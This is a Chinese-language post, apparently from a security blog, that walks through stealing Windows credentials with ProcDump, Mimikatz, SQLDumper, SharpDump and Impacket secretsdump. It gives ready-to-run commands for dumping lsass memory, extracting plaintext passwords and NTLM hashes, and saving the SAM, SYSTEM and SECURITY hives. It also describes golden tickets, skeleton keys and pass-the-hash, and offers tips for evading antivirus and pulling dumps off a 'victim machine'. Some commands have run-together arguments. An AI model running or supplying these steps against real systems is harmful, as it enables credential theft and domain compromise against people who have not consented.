本文分别介绍porcdump,Mimikatz,SharpDump,Impacket-secretsdump.py这几个工具
使用注释: 记得要用管理员运行,否则会报错,报错如下
porcdump工具介绍
ProcDump是一個命令行工具,其主要目的是監視CPU峰值的應用程序,並產生了Dump轉儲文件來供開發人員分析。ProcDump還可以監測無響應程序等各種異常監測,並可以基於系統性能計數器的值轉儲。它也可以作為一般的進程轉儲實用程序,您可以在其他腳本嵌入。通俗點說他可以創建指定進程或者窗口的Dump,並且可以監控到指定程序佔用CPU超過一個閾值時候再去創建Dump的功能
[size=14.6667px]常用参数介绍
-
-ma 生成full dump, 即包括进程的所有内存.默认的dump格式包括线程和句柄信息.
-
-c 在CPU使用率到达这个阀值的时候, 生成dump文件.
-
-sCPU阀值必须持续多少秒才抓取dump文件.
-
-n 在该工具退出之前要抓取多少个dump文件.
-
-odump文件保存目录.
使用方法-示例
-
利用下面其中一条命令进行dump,然后再拿去里用mimikatz进行查看密码
-
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
-
procdump -ma -c 50 -s 3 -n 2 5844 (Process Name or PID) -0 c:dumpfile
Mimikatz工具介绍
mimikatz是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点也是最感兴趣的就是他可以直接从 lsass中获取当前处于Active系统的登录密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而mimikatz正是通过对lsass的逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统
参数简要介绍
-
CRYPTO::certificates – 列出/导出凭证
-
KERBEROS::golden – 创建黄金票证/白银票证/信任票证
-
KERBEROS::list - 列出在用户的内存中所有用户的票证(TGT 和 TGS)。不需要特殊的权限,因为它仅显示当前用户的票证。与 “klist” 的功能相似。
-
KERBEROS::ptt - 票证传递。通常用于注入窃取或伪造的 Kerberos 票证(黄金票证/白银票证/信任票证)。
-
LSADUMP::dcsync - 向 DC 发起同步一个对象(获取帐户的密码数据)的质询。无需在 DC 上执行代码。
-
LSADUMP::lsa – 向 LSA Server 质询检索 SAM/AD 的数据(正常或未打补丁的情况下)。可以从 DC 或者是一个 lsass.dmp 的转储文件中导出所有的 Active Directory 域凭证数据。同样也可以获取指定帐户的凭证,如 krbtgt 帐户,使用 /name 参数,如:“/name:krbtgt”
-
LSADUMP::sam - 获取 SysKey 来解密 SAM 的项目数据(从注册表或者 hive 中导出)。SAM 选项可以连接到本地安全帐户管理器(SAM)数据库中并能转储本地帐户的凭证。可以用来转储在 Windows 计算机上的所有的本地凭据。
-
LSADUMP::trust - 向 LSA Server 质询来获取信任的认证信息(正常或未打补丁的情况下)。为所有相关的受信的域或林转储信任密钥(密码)。
-
MISC::AddSid – 将用户帐户添加到 SID 历史记录。第一个值是目标帐户,第二值是帐户/组名(可以是多个)(或 SID )。
-
MISC::MemSSP – 注入恶意的 Wndows SSP 来记录本地身份验证凭据。
-
MISC::Skeleton – 在 DC 中注入万能钥匙(Skeleton Key) 到 LSASS 进程中。这使得所有用户所使用的万能钥匙修补 DC 使用 “主密码” (又名万能钥匙)以及他们自己通常使用的密码进行身份验证。
-
PRIVILEGE::debug – 获得 Debug 权限(很多 Mimikatz 命令需要 Debug 权限或本地 SYSTEM 权限)。
-
SEKURLSA::ekeys – 列出 Kerberos 密钥
-
SEKURLSA::Kerberos – 列出所有已通过认证的用户的 Kerberos 凭证(包括服务帐户和计算机帐户)
-
SEKURLSA::Krbtgt – 获取域中 Kerberos 服务帐户(KRBTGT)的密码数据
-
SEKURLSA::logonPasswords – 列出所有可用的提供者的凭据。这个命令通常会显示最近登录过的用户和最近登录过的计算机的凭证。
-
SEKURLSA::pth – Hash 传递 和 Key 传递(注:Over-Pass-the-Hash 的实际过程就是传递了相关的 Key(s))
-
SEKURLSA::Tickets – 列出最近所有已经过身份验证的用户的可用的 Kerberos 票证,包括使用用户帐户的上下文运行的服务和本地计算机在 AD 中的计算机帐户。与 kerberos: :list 不同的是 sekurlsa 使用内存读取的方式,它不会受到密钥导出的限制。
-
TOKEN::list – 列出系统中的所有令牌
-
TOKEN::Elevate – 假冒令牌。用于提升权限至 SYSTEM 权限(默认情况下)或者是发现计算机中的域管理员的令牌。
-
TOKEN::Elevate /domainadmin – 假冒一个拥有域管理员凭证的令牌。
使用方法(案例)-分两种
-
Mimikatz可上传到受害机并顺利执行的
-
提升权限:privilege::debug
-
查看用户密码:sekurlsa::logonpasswords
-
如果是上传后无法绕过杀毒软件,我们可以配合上传[size=14.6667px]porcdump工具并利用该工具如上方所示读取并保存为lsass.dmp文件,然后我们再利用powershell下载文件或其他等方法下载到攻击机配合Mimikatz进行解密
-
mimikatz.exe"sekurlsa::minidumplsass.dmp""sekurlsa::logonPasswords full" exit
-
拿到NTLN密文后解密即可
sqlDumper工具介绍
实战中如果目标安装了mssql,可以通过sqldumper.exe来dump lsass进程,没安装也可以手动上传。sqldumper的默认路径:C:Program FilesMicrosoft SQL Server110Shared,如果默认路径没有我们可以传个Everything上去,然后进行检索
使用方法
-
先找到lsass.exe的进程id
-
tasklist|findstr "lsass.exe"
-
导出dmp文件
-
sqldumper.exe<pid> 0 0x01100
-
将导出的SQLDmpr0001.mdmp下载到攻击者的电脑上
-
使用本地的mimikatz.exe进行读取
-
mimikatz.exe"sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswordsfull" "exit"
SharpDump工具
下载地址
-
https://github.com/GhostPack/SharpDump
使用方法
-
首先需要使用vs把SharpDump.sln编译成exe文件
-
然后直接运行SharpDump.exe,导出的文件时bin格式,解压拿里面的debug1016去mimikatz读取
mimikatz.exe"sekurlsa::minidump debug516" "sekurlsa::logonPasswordsfull" "exit"
Impacket-secretsdump.py
-
Impacket是一个Python类库,用于对SMB1-3或IPv4/ IPv6上的TCPUDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问。该库提供了一组工具,作为在此库的上下文中可以执行的操作示例。
使用注册表导出Hash,再通过impacket进行离线读取,实战中大部分杀软都不会拦截。
-
用meterpreter下载sys.hiv/sam.hiv/security.hiv 之后用impacket模块读取
-
regsave HKLMSYSTEM sys.hiv
-
regsave HKLMSAM sam.hiv
-
regsave HKLMsecurity security.hiv
-
之后用meterpreter自带的download下载(regsave之后使得下载文件更小)
-
pythonsecretsdump.py -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论